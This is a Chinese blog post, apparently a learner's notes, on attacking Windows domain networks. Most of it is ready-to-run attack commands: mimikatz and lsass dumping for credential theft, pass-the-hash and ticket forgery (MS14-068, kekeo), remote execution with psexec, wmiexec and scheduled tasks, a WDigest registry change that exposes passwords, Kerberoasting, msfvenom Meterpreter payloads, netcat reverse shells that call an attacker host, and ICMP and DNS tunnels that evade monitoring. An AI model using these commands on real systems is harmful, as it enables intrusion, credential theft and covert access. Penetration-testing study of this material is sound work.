网络攻防之内网安全横向渗透权限提升

1.基本知识:
        Ⅰ.名词:
            ①局域网
            ②工作组和域环境:
                工作组:比如一个网吧,一个家庭,都在一个地方,没有谁管理谁
                域环境:会有一个计算机去管理其他计算机,比如共享文件,是工作组的升级版
            ③DMZ:(类似就是外网服务器)两个防火墙之间的空间称为DMA,安全性比内网低
            ④活动目录(AD):类似功能策略
            ⑤域控制器(DC):就是域环境中的管理者    判断是否拿下一个域,就是判断是否拿下了这台管理计算机
        Ⅱ.域:
            ①单域:类似于公司只有一家企业,所有的计算机都在一个域中,就是单域
            ②父域和子域:公司有分公司,总公司在一个域,子公司在一个域,总公司就是父域,子公司就是子域
            ③域树和域森林:数据结构中的森林和树,就是把结点换成了一个一个的域
        Ⅲ.认知:
            ①为什么大多都是windows域,很少有Linux域渗透:
                因为linux域需要LDAP环境,而且功能也比不上windows域,用linux的话对员工的技术要求也更高,所以windows更适合做域,Li
                nux更加适合做服务器。
            ②局域网技术适用问题:ARP攻击适合于局域网,在域里无效
            ③大概内网安全流程问题:
    2.信息收集:    
        Ⅰ.基本信息(为了后续判断服务器角色--webserver?sqlserver?fileserver?为网络环境做准备):
            ①版本,补丁:systeminfo
            ②计划任务:schtasks(需要高权限)
            ③服务:net start
            ④任务:tasklist
        Ⅱ.网络信息:
            ①开放端口:netstat -ano 
            ②判断是否是域环境:
                第一种:ipconfig /all 通过查看windows ip配置中的 主DNS后缀l来判断
                第二种:net view /domain 有信息返回就是存在域环境
                第三种:net time /domain 判断主域
            ③寻找域DC:nslookup net time /domain的返回结果,或者ping  net time /domain的返回结果
        Ⅲ.用户信息:
            ①域用户:net user domain
            ②本地用户:net user,
            ③用户权限:whoami /all
            ④对应组信息:net localgroup,  net group /domain  
            ⑤涉及域用户详细信息:wmic useraccount get /all
            ⑥查询管理员账户/管理员用户组/域控制器:net group "Domain Admins/Enterprese Admins/Domain Controllers" /domain
        Ⅳ.凭据信息:
            ①获取登录账户密码的hash工具:mimikatz(win),mimipenguin(linux)--需要管理员权限
            ②各种口令(系统登录密码,网站登录密码等等):Lazagne(all)--免费但鸡肋,XenArmor(win)--收费但牛逼,有破解版
    3.后续探针:
        Ⅰ.探针域内存活主机:
            ①for /L %I in (1,1,254) DO @ping -w 1 -n 1 目标网段x.x.x.%I | findstr"TTL="(最好)
            ②nmap,masscan,第三方的powershell脚本nishang(第二好,不会被流量检测),empired等
    4.权限提升:
        之前的是外网web上的权限提升,这个是内网中的权限提升,比如外网提升完权限后,才有权进入内网,但进入到内网后,权限只是
        普通的权限,还需要提权
        相当于外网上的提权,只是提权的地方不同,但是提权方法一样
    5.横向渗透(重中之重):
        Ⅰ.局域网
        Ⅱ.域环境:
            传递:
                ①at&schtasks:(主要都是基于windows定时任务的攻击,已经在信息收集中获得了DC的(明文)密码)--利用的是135和445端口
                    1)at适用的版本:<windows2012
                        net use \\目标IP\ipc$ "密码" /user:域名\administrator     #建立连接
                        copy add.bat \\目标IP\c$     
                        #拷贝执行文件到目标机器(add.bat文件自己写一个,可以是添加用户,也可以是木马)
                        at \\目标IP 时间 c:\add.bat   #添加计划任务
                    2)schtasks使用的版本:>=windows2012
                        net use \\目标IP\ipc$ "密码" /user:域名\administrator     #建立连接
                        copy add.bat \\目标IP\c$     #拷贝执行文件到目标机器
                        schtasks /create /s 目标IP /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F创建对应任务
                        schtasks /run /s 目标IP /tn adduser /i    #运行这个任务
                        schtasks /delete /s 目标IP /tn /adduser        #删除这个任务 
                    3)相关知识:
                        net use  网络连接会话管理(IPC)
                        net use  ipc连接\del   删除ipc连接
                        net tasks  查看计划任务
                        dir  \\路径    查看目录文件列表
                    4)impacket库(在信息收集中获得了DC的(hash)密码)
                        库中的atexec函数
                        atexec.exe -hashes :hash值 ./用户名@ip地址“命令”
                        也可以有明文密码,直接运行命令,不需要定时任务,atexec.exe 用户名:密码@ip地址 “命令”
                    5)用python写一个exe文件 利用python自带的pyinstaller -F py文件    生成exe
                ②psexec&smbexec&wmic&wmiexec:
                    若windows2012以上版本默认关闭了wdigest/安装了KB2871997补丁,攻击者无法获得明文密码
                    1)利用其他服务协议(SMB-445端口,WMI--135端口等)进行哈希移动:
                        <1>psexec(pstool工具--微软的):
                            第一种:先建立ipc连接
                                    psexec \\IP地址 -s cmd  会返回shell,直接运行命令即可
                            第二种:不需要建立ipc连接
                                    psexec \\IP地址 -u 用户名 -p 密码(信息收集得到) -s cmd   (知道是明文密码)
                                    psexec -hashes :哈希值 用户名@ip地址   (得到的密码是hash值)
                        <2>smbexec:
                            smbexec 用户名:密码@IP地址(明文密码)
                            smbexec -hashes :哈希值 用户名@ip地址    (得到的密码是hash值)
                        <3>wmi:(不会在日志中留下痕迹,更安全)
                            第一种:自带的wmic,明文密码,无回显-不会被拦截,因为没有回显,所以还得去查看文件,很鸡肋,不需要学
                            第二种:wmiexec-有回显,可用明文和hash,会拦截
                                wmiexec 用户名:密码@IP地址 “cmd命令”(明文密码)
                                wmiexec -hashes :哈希值 用户名@ip地址 “cmd命令”(得到的密码是hash值)
                    2)利用注册表操作开启Wdigest Auth值进行获取:
                        reg add HKML\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REC_DWORD /d 1 /f
                    3)利用工具或第三方平台(Hashcat)进行破解获取:
                        hashcat -a 0 -m 1000 hash file --force  (1000指得是NTLM hash) 
                    4)procdump+minikaz:
                        前者不会拦截,后者会被WAF拦截,可以利用前者弄出拷贝文件,放到本地用minikatz来执行
                        procdump -accepteula -ma lsass.exe 想输出的文件名
                        sekurlsa::minidump dmp文件
                        sekurlsa::logonPasswords full
                ③PTH&PTT&PTK
                    1)PTH(pass the hash-绕过hash)--利用ntlm或lm的值(打了KB2871997只能连接admininstrator,不打都可以)
                        和上面的类似,是用ntlm值
                        sekurlsa::pth /user:用户名 /domain:域名(qiaozong.org) /ntml:hash值
                    2)PTT(pass the ticket-绕过票据)--(类似于web中的cookie欺骗)票据也有存活时间
                        <1>利用MS14-068漏洞:-kerberos协议攻击
                            该漏洞能实现普通用户直接获取域控system权限
                            查看当前sid :whoami/user
                            清空机器中的所有凭证:klist purge
                            查看当前机器凭证:klist
                            minikatz命令:kerberos::ptc 票据文件  //将p票据注入到内存中
                            利用MS14-068生成TGT数据:
                                ms14-068.exe -u 域成员@域名 -s sid -d 域控地址 -p 域成员密码
                                kerberos::ptc 票据文件
                                建立连接后,只能用域名进行连接,不能用IP
                        <2>利用kekeo工具:
                            只是生成票据的方式不同,其他都一样
                            kekeo "tgr::ask /user:用户名 /domain:域名 /ntml:信息收集的值"
                        <3>利用本地票据(需要管理员权限):
                            有点鸡肋,利用的是本地缓存中的票据,看运气
                            sekurlsa::tickets /export //导出票据
                            kerberos::ptc 票据文件  //将p票据注入到内存中
                            一个一个导入,一个一个试
                    3)PTK(pass the key-绕过密码)--利用ekeys aes256(只有打了KB2871997才能连接)
                        minikatz:收集aes256密码,提升权限命令,sekurlsa::ekeys
                        sekurlsa::pth /user:用户名 /domain:域名(qiaozong.org) /aes256:aes256的值
                ④winrs&winrm&rdp
                    rdp协议(能不能看3389端口是否开启):
                    windows的mstsc工具
                    mstsc.exe 也就是windows自带的远程电脑连接(图形化的界面)
                ⑤相关知识:
                    1)windows系统LM hash及其NTLM Hash加密算法,个人系统在windows vista后,服务器系统在2003后,认证方式均为NTLM hash
                    2)可以连接域名=workgroup,连接本地用户
            漏洞:
                ①CVE-2014-6324
                ②CVE-2017-17010
                ③CVE-2020-1472
            SPN:
                ①流程:(用powershell)
                    (1)探针SPN服务
                        setspn -q */*
                    (2)请求服务票据
                        Add-Type -AssemblyName System.IdentityModel
                        New-Object System.IdentityModel.Tkoen.KerberosRequestorSecurityToken -ArgumentList "服务名"
                        或者也可以用
                        mimikatz的命令:kerberos::ask /target"服务名"
                    (3)导出服务票据
                        mimikatz的命令:kerberos::list /export
                    (4)破解服务票据
                        用python tgsrepcrack.py 密码本 导出的文件    来破解
                    (5)重写服务票据
                        python kerberos.py -p 密码 -r 凭据文件 -w 想生成的凭据文件 -u 500/-g 512
                ②服务:
                    (1)MSSQL
                    (2)WSMAN
                    (3)Exchange
                    (4)TERMSERY
                    (5)Hyper-V Host
        Ⅲ.工具:
            ladon
            cs打枪工具:
                启动配置
                插件提权
                信息收集  net view/dclist/computers;(输入net 按TAB换就行)
                视图自动化
                工具相关的一些额外操作:
                可以上传第三方工具使用(ladon等)
        Ⅳ.穿透:
            ①代理:
                1)解决:
                    <1>内网有外网
                    <2>内网有过滤
                    <3>内网无外网
                2)方向:
                    <1>正向
                    <2>反向
                3)工具:
                    <1>nps
                    <2>frp:
                        服务器修改frps.ini    ,执行./frps -c frps.ini
                        控制端修改frpc.ini,执行./frpc -c frpc.ini
                    <3>ngrok:
                        www.ngrok.cc
                        选择http协议
                        ./sunny clientid 官网上的id值
                        msfvenom -p windows/meterpreter/reverse_http lhost=官网出现的网址 lport=端口 -f exe -o 文件名
                        msf使用exploit/multi/handler模块
                        set payload windows/meterpreter/reverse_http
                    <4>reGeorg(是免杀的)
                        python neo.py -k wang会生成几个后门文件,放到外网服务器上
                        运行Python neo.py -k wang -u url地址  则就会生成代理
                        在kali上选用socks5代理,设置脚本会显的端口,就可以直接访问内网上的服务
                        或者也可以在本地代理文件中加入socks5代理来访问,/etc/proxychains.conf   执行命令proxychains namp -sS 内网
                        服务器地址
                    <5>sockscap64:windows的代理,可以单独用于某一个软件
                    <6>proxifier
                    <7>proxychains:kali中的代理工具
                    <8>    相关知识:(CTF2019)
                            第一台内网主机(反向连接,靶机连接攻击机)
                            msfvenom -p windows/meterpreter/reverse_http lhost=kaliip地址 lport=端口 -f exe -o 文件名
                            msf使用exploit/multi/handler模块
                            set payload windows/meterpreter/reverse_http
                            利用webshell连接,传入木马文件,msf接收(这里多一个shell的意义是用kali当作代理跳板)
                            设置路由代理
                            获得网络接口:run get_local_subnets
                            查看路由地址:run autoroute -p
                            添加路由地址:run autoroute -s ip地址
                            开启本地代理:use auxiliary/server/socks4a
                                            set srvport 端口
                                            exploit
                            利用proxychain4进行nmap扫描
                            找到对应web服务器,利用sqlmap代理访问爆破,进入后台,放入后台木马文件,蚁剑代理连接(也可以使用socksca
                            p64代理工具)
                            第二胎内网主机(正向连接,攻击机连接靶机)
                            msfvenom -p linux/x64/meterpreter/bind_tcp lport=端口 -f elf > 文件名
                            msf使用exploit/multi/handler模块
                            set payload linux/x64/meterpreter/bind_tcp
            ②隧道:(在代理上多了一个过滤的绕过)
                为解决什么问题:CS,MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题
                1)网络层-ipv6隧道,icmp隧道
                    (1)协议是否支持:
                        ipv6:
                        icmp:ping命令,结合pingtunnel工具使用(把tcp/udp/sock5流量伪装成icmp流量进行转发的工具)
                            工具使用:控制机器(外网机):./ptunnel -x 密码
                                                 (攻击机):./ptunnel -p ip地址(外网机器) -lp 端口(本地端口) -da ip地址(目标
                                                            ) -dp 端口(目标机器) -x 密码
                                                            redesktop 127.0.0.1 端口(本地端口)
                2)传输层-tcp隧道,udp隧道,端口转发
                    (1)瑞士军刀(netcat)相关使用:
                        指纹服务:nc -nv ip
                        端口扫描:nc -v -z ip 端口区间
                        端口监听:nc -lvp 端口
                    (2)端口转发:lcx(windows),portman(linux)
                        利用portman  
                        外网机器:lcx.exe -slave 内网ip 端口1 127.0.0.1 端口2
                        攻击机器:lcx.exe -listen 端口2  端口3
                    (3)转发隧道netcat使用:
                        <1>双向连接反弹shell:
                            1>正向:攻击机连接目标机器
                                    受害机器:    nc -ldp 端口 -e /bin/sh  (linux)
                                                nc -ldp 端口 -e c:\windows\system32\cmd.exe (windows)
                                    攻击机器:    nc 受害机器IP 端口 
                            2>反向:目标机器连接攻击机
                                    攻击机器:nc -lvp 端口
                                    受害机器:nc 攻击机器Ip 端口 -e /bin/sh  (linux)
                                               nc 攻击机器Ip 端口 -e c:\windows\system32\cmd.exe (windows)
                        <2>多向连接反弹shell-配合转发:
                            1>反向
                                跳板机器:lcx.exe -listen 端口1 端口2
                                目标机器:nc  跳板机器IP 端口1 -e /bin/sh(linux)/c:\windows\system32\cmd.exe(windows)
                                攻击机器:nc -v 跳板机器 端口2
                            2
                3)应用层-ssh隧道,http/s隧道,dns隧道
                    (1)协议是否支持:
                        ssh:
                        http/s:利用curl命令
                        dns:nslookup(windows),dig(linux)
                    (2)dns隧道配合cs上线:(常见协议被拦截,http不行)-速度特别慢
                        使用cs使用dns协议就行
                        需要两个域名
                        连接机器(待连接状态):checkin    ,   mode dns-txt,  然后等待连接成功
            ③msf联动cs

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值